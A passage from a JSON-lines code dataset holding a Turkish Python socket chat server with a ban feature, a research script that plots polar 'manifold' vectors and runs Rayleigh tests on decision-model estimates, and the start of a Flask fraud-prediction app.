kullanicilar,kullanici_adlari\n while True:\n adlar = \"\"\n for i in kullanici_adlari:\n adlar += i+\"\\n\"\n for a in kullanicilar:\n try:\n a.send(bytes(f\"Qaktif-kul_ism?{adlar}\",\"utf8\"))\n except:pass\n time.sleep(1.7)\n\ndef aktif_kullanici():\n global kullanicilar\n while True:\n for i in kullanicilar:\n try:\n i.send(bytes(f\"ASAkullanici_adet: {len(kullanicilar)}\",\"utf8\"))\n except:\n pass\n time.sleep(1.7)\n\"\"\" \ndef veri_al(kullanici_bilgisi,kullanici_ad):\n global kullanicilar,kullanici_adlari#,yetkililer\n \n while True:\n zaman = datetime.now()\n saat = str(zaman.hour)\n dk = str(zaman.minute)\n saat_dk = saat+\":\"+dk+\" \" \n\n try:\n mesaj = kullanici_bilgisi.recv(5242880)\n \n try:\n mesaj = mesaj.decode(\"utf-8\")\n if mesaj==\"\" or mesaj == \" \" or mesaj == len(mesaj)*\" \":\n continue\n\n except:\n for i in kullanicilar:\n if i!=kullanici_bilgisi:\n i.send(mesaj)\n else:\n i.send(bytes(\"Fotoğraf gönderildi\",\"utf8\"))\n continue\n \n if len(mesaj)>200:\n kullanici_bilgisi.send(bytes(\"200 Karakter Sınırı Aşıldı !\",\"utf8\"))\n continue\n \n elif mesaj != len(mesaj)*\" \" and mesaj != \"\":\n for i in kullanicilar:\n if i!=kullanici_bilgisi:\n i.send(bytes(saat_dk+kullanici_ad+\" : \"+mesaj,\"utf8\"))\n else:\n i.send(bytes(saat_dk+\"Siz : \"+mesaj,\"utf8\"))\n \n elif mesaj == \"/yetki_ver\" or mesaj == \"yetki_ver\" or mesaj == \"yetki ver\":\n for i in kullanicilar:\n i.send(bytes(\"I CAN(server botu) : Yetki sistemi bir süreliğine kapatılmıştır.\",\"utf8\"))\n\n \"\"\"yetki_ver['text'] = f\"{kullanici_ad} adlı kullanıcı yetki istiyor.\"\n threading.Thread(target = yetkilendirme, args=(kullanici_ad,)).start()\n\n elif len(mesaj) > 4 and mesaj[:4] == \"/ban\":\n for i in yetkililer:\n if kullanici_ad == i and not mesaj[5:] in yetkililer:\n ban_atma(mesaj[5:],kullanici_ad)\"\"\"\n except:\n try:\n kullanicilar.remove(kullanici_bilgisi)\n kullanici_adlari.remove(kullanici_ad)\n except:pass\n \n break\n\n\n\"\"\"def yetkilendirme(kullanici_adi):\n global yetkililer,gonderme_onayi\n \n if gonderme_onayi:\n yetki = yetki_onayla.get()\n if yetki == \"E\" or yetki == \"e\":\n for i in kullanicilar:\n i.send(bytes(kullanici_adi+\" 'I CAN' Tarafından Yetkilendirildi.\",\"utf8\"))\n yetkililer.append(kullanici_adi)\n \n else:\n for i in kullanicilar:\n i.send(bytes(kullanici_adi+\" Kullanıcının Yetki İsteği Reddedildi!\",\"utf8\"))\n \n gonderme_onayi = False\n yetki_ver['text'] = \"Şuanlık yetki isteği yok !\"\n yetki_onayla.delete(0,'end')\"\"\"\n\n\ndef isim_alma(kullanici_bilgisi2,ip):\n global kullanicilar,kullanici_adlari\n try:\n while True:\n ad = kullanici_bilgisi2.recv(1024).decode(\"utf8\")\n if len(ad)>1 and ad != \"I C4N\" and ad != \"I CAN\" and ad != \"l C4N\" and len(ad)<17 and ad!=\"\" and ad!=\" \" and ad != len(ad)*\" \" and not ad in kullanici_adlari:\n for i in kullanicilar:\n i.send(bytes(f\"{ad} Adlı Kullanıcı Sohbete Katıldı !\",\"utf8\"))\n\n kullanici_adlari.append(ad)\n kullanicilar.append(kullanici_bilgisi2)\n kullanici_bilgisi2.send(bytes(f\"Sohbete Katıldın !\",\"utf8\"))\n\n print(f\"{ad} : {ip} Toplam:{len(kullanicilar)} \")\n threading.Thread(target=veri_al, args=(kullanici_bilgisi2,ad)).start()\n break\n else:\n kullanici_bilgisi2.send(bytes(\"İsmini tekrar gir !\",\"utf8\"))\n\n except:pass\n \ndef ban_atma(banlanacak,banlayan):\n global kullanicilar,kullanici_adlari,banli_ipler,normal_ipler\n try:\n indexi = kullanici_adlari.index(banlanacak)\n kullanici_adlari.remove(banlanacak)\n banli_ipler.append(normal_ipler[indexi])\n normal_ipler.remove(normal_ipler[indexi])\n kullanicilar[indexi].send(bytes(f\"{banlayan} Tarafından Banlandın!\",\"utf8\"))\n kullanicilar[indexi].close()\n kullanicilar.remove(kullanicilar[indexi])\n for i in kullanicilar:\n i.send(bytes(f\"{banlanacak} Adlı Kullanıcı {banlayan} Tarafından Banlandı!\",\"utf8\"))\n except:pass\n\ndef ban_atma_ceo():\n banlanacak = banla.get()\n banla.delete(0,'end')\n \n ban_atma(banlanacak,\"I CAN\")\n\n\"\"\"def gonder_cevap():\n global gonderme_onayi\n gonderme_onayi = True\"\"\"\n \ndef onayla():\n global banli_ipler,normal_ipler\n \n while True:\n kullanici,adres = veri.accept()\n try:\n ip = kullanici.recv(1024).decode(\"utf8\")\n except:\n continue\n if ip in banli_ipler:\n kullanici.send(bytes(\"Banlı kullanıcılar giriş yapamaz!\",\"utf8\"))\n continue\n normal_ipler.append(ip)\n \n threading.Thread(target=isim_alma,args=(kullanici,ip)).start()\n \npencere = Tk()\npencere.geometry(\"150x150\")\n\nbanla = Entry()\nbanla.place(x=10,y=50)\n\nbanla_butonu = Button(text=\"Banla\",bg=\"red\")\nbanla_butonu.config(command = ban_atma_ceo)\nbanla_butonu.place(x=10,y=70)\n\n\"\"\"\nyetki_ver = Label(text=\"Şuanlık yetki isteği yok !\")\nyetki_ver.place(x=10,y=100)\n\nyetki_onayla = Entry()\nyetki_onayla.place(x=10,y=120)\n\nyetki_onayla_butonu = Button(text=\"Cevabı Gönder\",bg=\"green\")\nyetki_onayla_butonu.configure(command = gonder_cevap)\nyetki_onayla_butonu.place(x=10,y=150)\n\"\"\"\nthreading.Thread(target=onayla).start()\npencere.mainloop()\n# orda minik bir hata vardı D\n# serveri açalım :D\n", "repo_name": "canustun/Mesajlasma_Uyg", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 6896, "program_lang": "python", "lang": "tr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "socket.socket", "line_number": 17, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 17, "usage_type": "argument"}, {"api_name": "socket.SOCK_STREAM", "line_number": 17, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 142, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 187, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 210, "usage_type": "call"}]} {"seq_id": "41703219995", "text": "import matplotlib.pyplot as plt\n# plt.rcParams.update({'font.size': 8})\nfrom matplotlib.animation import FuncAnimation\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport time\nimport os\n\n\nreg_est_df = pd.read_csv('~/Dropbox/loki_0.5/analysis/aggregated_data/trial_hddm_estimates.csv')\npc_ls_df = pd.read_csv('~/Dropbox/loki_0.5/analysis/aggregated_data/pc_ls_df.csv')\n\n\npc_ls_df_sorted = pc_ls_df.sort_values(by=['subj_id', 'condition'])\nreg_est_df_sorted = reg_est_df.sort_values(by=['subj_id', 'condition'])\n\nassert reg_est_df_sorted.shape[0] == pc_ls_df_sorted.shape[0]\nassert (reg_est_df_sorted.subj_id == pc_ls_df_sorted.subj_id).sum() == pc_ls_df_sorted.shape[0]\nassert (reg_est_df_sorted.condition == pc_ls_df_sorted.condition).sum() == pc_ls_df_sorted.shape[0]\n\n\nreg_est_df_sorted[['projection_0','projection_1', 'projection_2']] = pc_ls_df_sorted[['projection_0','projection_1', 'projection_2']]\n\nreg_est_df_sorted.to_csv('~/Dropbox/loki_0.5/analysis/aggregated_data/pc_ls_reg_est_df.csv', index=False)\n\n# grp = reg_est_df.groupby(['subj_id', 'epoch_number', 'reward_code'])\n#\n# grp.epoch_length.unique()\n\nreg_window_df = reg_est_df.loc[(reg_est_df.shifted_epoch_trial <= 8) & (reg_est_df.shifted_epoch_trial >= -1)].reset_index(drop=True).copy()\n\n\nsample_p = reg_window_df.p_optimal.sample().values[0]\nsample_sub = reg_window_df.subj_id.sample().values[0]\nsample_lambda_val = reg_window_df.lambda_val.sample().values[0]\n\n# sample data for testing\nsample_data = reg_window_df.loc[(reg_window_df.subj_id == sample_sub) &\n (reg_window_df.lambda_val == sample_lambda_val) &\n (reg_window_df.p_optimal == sample_p)].reset_index(drop=True).copy()\n\n\n# create a new variable to identify the epoch window number.\n# this includes the trial previous to the start of the current epoch.\n# useful for plotting and analysis.\n\n\ndef create_epoch_window_number(session_data):\n\n\n print('processing sub {} session {}'.format(session_data.subj_id.unique(), session_data.condition.unique()))\n session_data['epoch_window_number'] = session_data.epoch_number\n\n for epoch_number in session_data.epoch_number.unique()[1:]: # only get the second epoch onward (otherwise no prior trial to include)\n epoch_start_idx = session_data.loc[session_data.epoch_number == epoch_number].index[0]\n epoch_window_start_idx = epoch_start_idx - 1\n\n print('epoch start idx ', epoch_start_idx)\n print('epoch window start idx ', epoch_window_start_idx)\n\n session_data.set_value(epoch_window_start_idx, 'epoch_window_number',\n session_data.iloc[epoch_start_idx].epoch_number)\n\n return session_data\n\n\n\nreg_window_dfs = []\n\n# now implement on all data\nfor subj_id in reg_window_df.subj_id.unique():\n for condition in reg_window_df.condition.unique():\n session_data = reg_window_df.loc[(reg_window_df.subj_id == subj_id) &\n (reg_window_df.condition == condition)].reset_index(drop=True).copy()\n\n session_data_v2 = create_epoch_window_number(session_data)\n\n # print(session_data_v2[['epoch_window_number', 'epoch_number', 'shifted_epoch_trial', 'epoch_trial']].head(60))\n\n\n reg_window_dfs.append(session_data_v2)\n\n\nreg_window_df_v2 = pd.concat(reg_window_dfs, axis=0).reset_index(drop=True)\nkws = dict(marker='o', linestyle='-', linewidth=2, markersize=5, color='black') #add the line\n\n\ndef plot_av_manifold(x,y, shifted_epoch_trial, **kwargs):\n\n ax = sns.lineplot(x,y, markers=True, dashes=False, estimator=None)\n\n x_fmt = [np.round(val,3) for val in x]\n ax.set_xticklabels(x_fmt)\n for i in range(len(x)):\n ax.annotate('t' + str(shifted_epoch_trial.values[i]), xy=(x_fmt[i], y.values[i]),fontsize=8)\n\n# for subj_id in reg_window_df_v2.subj_id.unique():\n# for condition in reg_window_df_v2.condition.unique():\n# session_data = reg_window_df_v2.loc[(reg_window_df_v2.subj_id == subj_id) & (reg_window_df_v2.condition == condition)].copy()\n# g = sns.FacetGrid(col='epoch_window_number', col_wrap=4, data=session_data,\n# sharey=False, sharex=False, hue='shifted_epoch_trial')\n#\n# g.map(plot_av_manifold, 'a_est', 'v_est', 'shifted_epoch_trial')\n#\n# g.fig.subplots_adjust(top=0.9)\n# g.fig.suptitle('subject {} condition {}'.format(session_data.subj_id.unique()[0], session_data.condition.unique()[0]))\n\ndef cart2polar(x,y): # note that this should be implemented for each epoch after nesting within condition and sub\n\n x_diff, y_diff = x.diff(), y.diff()\n r = np.hypot(x_diff, y_diff)\n theta_radians = np.arctan2(y_diff, x_diff)\n theta_deg = np.rad2deg(theta_radians)\n return r, theta_radians, theta_deg\n\nepoch_datumz = []\n\nfor subj_id in reg_window_df_v2.subj_id.unique():\n for condition in reg_window_df_v2.condition.unique():\n\n session_data = reg_window_df_v2.loc[(reg_window_df_v2.subj_id == subj_id) & (reg_window_df_v2.condition == condition)].copy()\n for epoch_window_number in session_data.epoch_window_number.unique():\n\n epoch_data = session_data.loc[session_data.epoch_window_number == epoch_window_number].reset_index(drop=True).copy()\n\n r, theta_radians, theta_deg = cart2polar(epoch_data.a_est, epoch_data.v_est)\n\n epoch_data['r'] = r\n epoch_data['theta_radians'] = theta_radians\n epoch_data['theta_deg'] = theta_deg\n\n epoch_datumz.append(epoch_data)\n\nav_manifold_df = pd.concat(epoch_datumz, axis=0)\nav_manifold_df.to_csv('~/Dropbox/loki_0.5/analysis/aggregated_data/av_manifold_df.csv', index=False)\n\n\ndef plot_compass(r, theta_radians, epoch_trial_n, arrowprops=None, r_max=1,\nplot_mean_components=False, n_rows=1, n_cols=8, color='black'): # note that this takes radians but plots in degrees\n fig, ax = plt.subplots(n_rows, n_cols, subplot_kw=dict(polar=True))\n ax_list = ax.flatten()\n\n kw = dict(arrowstyle=\"->\", color='gray', lw=2)\n mean_kw = dict(arrowstyle=\"->\", color='black', lw=2.5)\n\n for ax in ax_list:\n [ax.annotate(\"\", xy=(theta, rad), xytext=(0,0), arrowprops=kw) for rad, theta in zip(r, theta_radians)]\n ax.set_ylim(0, r_max)\n\n\n\n mean_rad = np.mean(r)\n mean_theta = np.mean(theta_radians)\n\n if plot_mean_components:\n\n rads = np.arange(0, (2*np.pi), 0.01)\n mean_theta_arr = np.ones_like(rads)*mean_theta\n\n plt.polar(mean_theta, r_max, '.', color='black', clip_on=False, markersize=20)\n\n plt.polar(rads, mean_theta_arr, '-', color='black')\n\n ax.annotate(\"\", xy=(mean_theta, mean_rad), xytext=(0,0), arrowprops=mean_kw)\n\n plt.title('epoch trial vector '+ str(epoch_trial_n-1) + ':' + str(epoch_trial_n), y=1.08)\n\n return fig, ax\n\n\ndef evaluate_magnitude_uniformity(trial_data):\n # from astropy.stats import rayleightest ?\n\n # plot distribution\n plt.figure()\n plt.title('distribution of magnitudes for epoch trial vector {}:{}'.format((trial_data.shifted_epoch_trial.unique()-1)[0],\n trial_data.shifted_epoch_trial.unique()[0]))\n plt.hist(trial_data.r)\n plt.xlabel('magnitude (radius)'); plt.ylabel('frequency')\n\n\n # evaluate statistical sig.\n # p_uniform = rayleightest(trial_data.theta_radians) # test expects radians ?\n\n\n # return p_uniform\n return None\n\nsub_cond_trial_df = []\n\nfor subj_id in av_manifold_df.subj_id.unique():\n for condition in av_manifold_df.condition.unique():\n\n session_data = av_manifold_df.loc[(av_manifold_df.subj_id == subj_id) & (av_manifold_df.condition == condition)].copy()\n\n # get all the epoch n trials across epochs and plot those vectors according to r and theta\n # will need to do this via FacetGrid or subplots\n\n # g=sns.FacetGrid(session_data, col='shifted_epoch_trial')\n # g.map(plot_compass, \"r\", \"theta_radians\", \"shifted_epoch_trial\", r_max=session_data.r.max())\n\n\n\n for shifted_epoch_trial in session_data.shifted_epoch_trial.unique()[1:]: # don't need first one (diff is nan)\n\n\n\n trial_data = session_data.loc[session_data.shifted_epoch_trial == shifted_epoch_trial][['r', 'theta_radians', 'shifted_epoch_trial']].reset_index(drop=True)\n\n # fig, axes = plt.subplots(2, 2, subplot_kw=dict(polar=True))\n\n # # should be able to call g.map() using custom plotting fn\n # need to melt to longform first (or refraine from nesting... )\n #\n plot_compass(trial_data.r,trial_data.theta_radians, trial_data.shifted_epoch_trial, r_max=trial_data.r.max())\n #\n\n # evaluate uniformity of vector direction\n\n p_uniform, reject_uniform = evaluate_directional_uniformity(trial_data)\n\n trial_data['p_uniform'] = p_uniform\n trial_data['reject_uniform'] = reject_uniform\n\n sub_cond_trial_df.append(trial_data)\n\n\n\n\nsub_trial_unif_dfs = []\n\n\nfor subj_id in av_manifold_df.subj_id.unique():\n\n\n sub_data = av_manifold_df.loc[(av_manifold_df.subj_id == subj_id)].copy()\n\n # get all the epoch n trials across epochs and plot those vectors according to r and theta\n # will need to do this via FacetGrid or subplots\n\n # g=sns.FacetGrid(session_data, col='shifted_epoch_trial')\n # g.map(plot_compass, \"r\", \"theta_radians\", \"shifted_epoch_trial\")\n\n\n\n for shifted_epoch_trial in sub_data.shifted_epoch_trial.unique()[1:]: # don't need first one (diff is nan)\n\n\n\n trial_data = sub_data.loc[sub_data.shifted_epoch_trial == shifted_epoch_trial][['r', 'theta_radians', 'shifted_epoch_trial', 'subj_id']].reset_index(drop=True)\n\n # fig, axes = plt.subplots(2, 2, subplot_kw=dict(polar=True))\n\n # # should be able to call g.map() using custom plotting fn\n #\n # plot_compass(trial_data.r,trial_data.theta_radians, r_max=trial_data.r.max())\n #\n\n # evaluate uniformity of vector direction\n\n p_uniform, reject_uniform = evaluate_directional_uniformity(trial_data)\n\n sub_trial_unif_df = pd.DataFrame()\n\n # add to each plot the value of p\n\n sub_trial_unif_df['p_uniform'] = p_uniform\n sub_trial_unif_df['reject_uniform'] = reject_uniform\n sub_trial_unif_df['subj_id'] = subj_id\n sub_trial_unif_df['shifted_epoch_trial'] = shifted_epoch_trial\n\n\n print(sub_trial_unif_df.head())\n\n sub_trial_unif_dfs.append(sub_trial_unif_df)\n\nsub_trial_unif_df_all = pd.concat(sub_trial_unif_dfs, axis=0)\n\n\n\n\n# do this for all data for each subject\n# then do this on a condition-wise basis\n\n\nfrom matplotlib.animation import FuncAnimation\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport time\nimport os\nfrom matplotlib import rc\nimport matplotlib.pyplot as plt\n\nrc('font', **{'family': 'serif', 'serif': ['Computer Modern']})\nrc('text', usetex=True)\n\n\nav_manifold_df = pd.read_csv('~/Dropbox/loki_0.5/analysis/aggregated_data/av_manifold_df.csv')\nav_manifold_df_unit = av_manifold_df.loc[(av_manifold_df.subj_id == 789)].reset_index(drop=True).copy()\n\nn_rows=2; n_cols=5;\nn_conditions=9;\nplot_mean_components=None\nsavefig=1\nfig_path='/home/krista/Dropbox/loki_0.5/figures/av_manifold_polar_plots'\n\n# from jupyterthemes import jtplot\n# jtplot.style(context='talk', fscale=1.1, spines=False, gridlines='--')\nfrom matplotlib.ticker import FormatStrFormatter\nimport matplotlib.pyplot as plt\n\n\ndef evaluate_directional_uniformity(trial_data, criterion=0.05):\n from astropy.stats import rayleightest\n\n # plot distribution\n plt.ioff()\n plt.figure()\n plt.title('distribution of angles for epoch trial vector {}:{}'.format((trial_data.shifted_epoch_trial.unique()-1)[0],\n trial_data.shifted_epoch_trial.unique()[0]))\n plt.hist(trial_data.theta_radians)\n plt.xlabel('angle (rad.)'); plt.ylabel('frequency')\n\n\n # evaluate statistical sig.\n p_uniform = rayleightest(trial_data.theta_radians) # test expects radians\n\n reject_uniform = p_uniform <= criterion\n\n return p_uniform, reject_uniform\n\n\n# print at max view\n# figure out how to check fig size when max.\n\n\ndef plot_compass_v2(av_manifold_df_unit, n_rows=2, ncols=5,\nn_conditions=9, plot_mean_components=None, savefig=None, figsize=(10,8), fig_path='/home/krista/Dropbox/loki_0.5/figures/av_manifold_polar_plots'):\n\n if len(av_manifold_df_unit.condition.unique()) == n_conditions:\n all_conditions = True\n elif len(av_manifold_df_unit.condition.unique()) == 1:\n all_conditions = False\n else:\n raise ValueError('check n_conditions in supplied df')\n\n\n fig, main_ax = plt.subplots(n_rows, n_cols, subplot_kw=dict(polar=True), figsize=figsize)\n ax_list = main_ax.flatten()\n kw = dict(arrowstyle=\"->\", color='gray', lw=2)\n mean_kw = dict(arrowstyle=\"->\", color='black', lw=2.5)\n\n shifted_epoch_trials = np.sort(av_manifold_df_unit.shifted_epoch_trial.unique())[1:]\n\n for shifted_trial, ax in zip(shifted_epoch_trials, ax_list):\n print(shifted_trial)\n data = av_manifold_df_unit.loc[av_manifold_df_unit.shifted_epoch_trial == shifted_trial].reset_index(drop=True).copy()\n print(data.head())\n r_max = data.r.max()\n print(r_max)\n [ax.annotate(\"\", xy=(theta, rad), xytext=(0,0), arrowprops=kw) for rad, theta in zip(data.r, data.theta_radians)]\n ax.yaxis.set_major_formatter(FormatStrFormatter('%.2f'))\n ax.tick_params(axis='y', which='major', labelsize=8)\n ax.set_ylim(0, r_max)\n\n mean_rad = np.mean(data.r)\n mean_theta = np.mean(data.theta_radians)\n\n if plot_mean_components:\n rads = np.arange(0, (2*np.pi), 0.01)\n mean_theta_arr = np.ones_like(rads)*mean_theta\n plt.polar(mean_theta, r_max, '.', color='black', clip_on=False, markersize=20)\n plt.polar(rads, mean_theta_arr, '-', color='black')\n ax.annotate(\"\", xy=(mean_theta, mean_rad), xytext=(0,0), arrowprops=mean_kw)\n\n if shifted_trial == 0:\n ax.set_title(r'$\\vec{{_{{-\\textrm{}:\\textrm{}}}}}$'.format(abs(int(shifted_trial-1)), int(shifted_trial)), fontsize=20, y=1.10)\n else:\n ax.set_title(r'$\\vec{{_{{\\textrm{}:\\textrm{}}}}}$'.format(int(shifted_trial)-1, int(shifted_trial)), fontsize=20, y=1.10)\n\n p_uniform, reject_uniform = evaluate_directional_uniformity(data)\n\n if reject_uniform:\n ax.annotate('* p = ' + str(np.round(p_uniform, 3)), xy=(0, r_max), xytext=(1.22,r_max+0.01), fontsize=18, color='tomato')\n\n print('trial {} p_uniform {}'.format(shifted_trial, p_uniform))\n print('reject uniform dist.? {}'.format( reject_uniform))\n # time.sleep(1)\n\n\n fig.delaxes(ax_list[-1]) # odd number of plots so delete last subplot\n fig.subplots_adjust(top = 0.90, bottom=0.01, hspace=0.03, wspace=0.2)\n\n if all_conditions:\n fig_name = (str(int(av_manifold_df_unit.subj_id.unique()[0])) + '_' + 'all_conditions_av_manifold_polar.png')\n fig.suptitle('subject ' + str(int(av_manifold_df_unit.subj_id.unique()[0])) + ': all data', fontsize=20)\n else:\n fig_name = (str(int(av_manifold_df_unit.subj_id.unique()[0])) + '_' + str(int(av_manifold_df_unit.condition.unique()[0])) +'_av_manifold_polar.png')\n fig.suptitle('subject ' + str(int(av_manifold_df_unit.subj_id.unique()[0])) + ': ' +\n '$\\lambda = $' + str(int(av_manifold_df_unit.lambda_val.unique()[0])) + 'p = ' + int(str(av_manifold_df_unit.p_optimal.unique()[0])), fontsize=20)\n fig.show()\n\n if savefig:\n # fig.tight_layout()\n # figManager = plt.get_current_fig_manager()\n # figManager.window.showMaximized()\n # fig.show()\n fig.savefig(os.path.join(fig_path, fig_name))\n\n return fig, main_ax, p_uniform_list, reject_uniform_list\n#\n# for subj_id in av_manifold_df.subj_id.unique():\n# sub_data = av_manifold_df.loc[av_manifold_df.subj_id == subj_id].reset_index(drop=True).copy()\n\n\n\n# _____\n\n# epoch_window = 10\n#\n# assert len(reg_est_df.epoch_trial.unique()) == epoch_window, 'check epoch len'\n#\n# for subj_id in reg_est_df.subj_id.unique():\n#\n# sub_data = reg_est_df.loc[reg_est_df.subj_id == subj_id]\n#\n# x = sub_data.a_est.values\n# y = sub_data.v_est.values\n#\n# print(x, y)\n#\n# fig, ax = plt.subplots()\n# plt.xticks(rotation=45)\n# plt.title('subject ' + str(subj_id))\n# ax.set_ylabel(r'$\\hat{v}$')\n# ax.set_xlabel(r'$\\hat{a}$')\n# plt.tight_layout()\n# x_init, y_init = [],[]\n# line, = ax.plot(x_init, y_init, '--', markersize=8)\n#\n #\n # annotation = ax.annotate(\n # '', xy=(1,0), xytext=(-1,0),\n # arrowprops = {'arrowstyle': \"->\"},\n # )\n #\n # # # create some random data\n # # n_samples = 5000\n # # base_x = np.random.randn(n_samples)\n # # base_y = base_x\n #\n # # y = np.sin(base_x**2 + base_y**2)\n # # x = np.cos(base_x*base_y)\n #\n # # TODO: maybe just use the annotation object instead of line\n #\n # plt.xlim(x.min()-.0001, x.max()+.0001)\n # plt.ylim(y.min()-.012, y.max()+.012)\n #\n # def init():\n # line.set_data([], [])\n # return line,\n #\n # def animate(i):\n # line.set_data(x[:i],y[:i])\n # annotation.set_position((x[i-1],y[i-1]))\n # annotation.xy = (x[i-1],y[i-1])\n # if i > 0:\n # annotation.set_text(' t' + str(i-2))\n #\n # return line, annotation\n #\n # anim = FuncAnimation(fig, animate, init_func=init,\n # blit=True, frames=len(x)+1,\n # interval=300, repeat=True) # reduce interval to speed up\n # anim.save(str(subj_id) + '_av_trial.mp4', fps=1, dpi=600, bitrate=-1) # bitrate=-1 lets mpl choose\n", "repo_name": "kalexandriabond/dynamic_decision_policy_reconfiguration", "sub_path": "analysis/manifold_roses/source/av_manifold_scatter.py", "file_name": "av_manifold_scatter.py", "file_ext": "py", "file_size_in_byte": 17590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 85, "usage_type": "call"}, {"api_name": "seaborn.lineplot", "line_number": 91, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.hypot", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.arctan2", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.rad2deg", "line_number": 114, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "numpy.mean", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 158, "usage_type": "attribute"}, {"api_name": "numpy.ones_like", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.polar", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.polar", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 167, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 167, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 180, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 264, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 278, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 296, "usage_type": "call"}, {"api_name": "matplotlib.rc", "line_number": 297, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ioff", "line_number": 319, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 319, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 320, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 320, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 321, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 321, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 323, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 323, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 324, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 324, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 324, "usage_type": "call"}, {"api_name": "astropy.stats.rayleightest", "line_number": 328, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 350, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 350, "usage_type": "name"}, {"api_name": "numpy.sort", "line_number": 355, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FormatStrFormatter", "line_number": 364, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 368, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 369, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 372, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 372, "usage_type": "attribute"}, {"api_name": "numpy.ones_like", "line_number": 373, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.polar", "line_number": 374, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 374, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.polar", "line_number": 375, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 375, "usage_type": "name"}, {"api_name": "numpy.round", "line_number": 386, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 410, "usage_type": "call"}, {"api_name": "os.path", "line_number": 410, "usage_type": "attribute"}]} {"seq_id": "70056376222", "text": "from flask import render_template, request, redirect, Flask\r\nimport os\r\nimport csv\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport joblib\r\nfrom sklearn import decomposition\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.cluster import KMeans\r\nimport pickle\r\nfrom sklearn.linear_model import LogisticRegression\r\n\r\n\r\n\r\n##############################################\r\ndef Newfeature_groupby(Test_data, op_col2,op, group_col):\r\n '''\r\n This function creates a new feature using groupby operation. it groups the test and train data using col1 \r\n and apply the aggregate functions on top of col2\r\n '''\r\n for g_col in group_col:\r\n Test=pd.DataFrame()\r\n for col in op_col2:\r\n # new column name for the dataframe\r\n new_name = 'Per'+''.join(g_col)+'_'+col+'_'+op\r\n Test[new_name] = Test_data.groupby(g_col)[col].transform(op)\r\n \r\n Test_data=pd.concat([Test,Test_data], axis=1)\r\n return Test_data\r\n\r\n#################################################\r\ndef predict_cluster(Test_data):\r\n \r\n X=Test_data.drop(['Provider'],axis=1)\r\n if 'PotentialFraud' in X.columns:\r\n X=Test_data.drop(['PotentialFraud', 